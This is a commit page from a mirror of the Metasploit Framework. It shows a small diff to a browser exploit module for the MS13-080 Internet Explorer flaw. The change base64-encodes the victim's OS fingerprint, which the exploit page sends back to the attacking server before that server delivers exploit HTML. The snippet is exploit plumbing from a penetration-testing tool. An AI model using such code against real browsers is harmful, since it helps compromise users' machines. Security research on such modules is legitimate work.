infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Land #2528, base64 for ms13-080

bug/bundler_fix
James Lee 2013-10-16 15:54:56 -05:00
parent 2833d58387 06a212207e
commit d13fa7e9a5
No known key found for this signature in database
GPG Key ID: 2D6094C7CEA0A321
1 changed files with 9 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

11
modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb
View File

@ -76,6 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote
},
'DefaultOptions' =>
{
#'PrependMigrate' => true,
'InitialAutoRunScript' => 'migrate -f'
},
'Privileged' => false,
@ -88,6 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote
def get_check_html
%Q|<html>
<script>
#{js_base64}
#{js_os_detect}
function os() {
@ -119,7 +121,7 @@ function dll() {
}
window.onload = function() {
window.location = "#{get_resource}/search?o=" + escape(os()) + "&d=" + dll();
window.location = "#{get_resource}/search?o=" + escape(Base64.encode(os())) + "&d=" + dll();
}
</script>
</html>
@ -280,7 +282,12 @@ function kaiju() {
def on_request_uri(cli, request)
if request.uri =~ /search\?o=(.+)\&d=(.+)$/
target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) }
target_info =
{
:os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)),
:dll => Rex::Text.uri_decode($2)
}
sploit = get_sploit_html(target_info)
send_response(cli, sploit, {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'})
return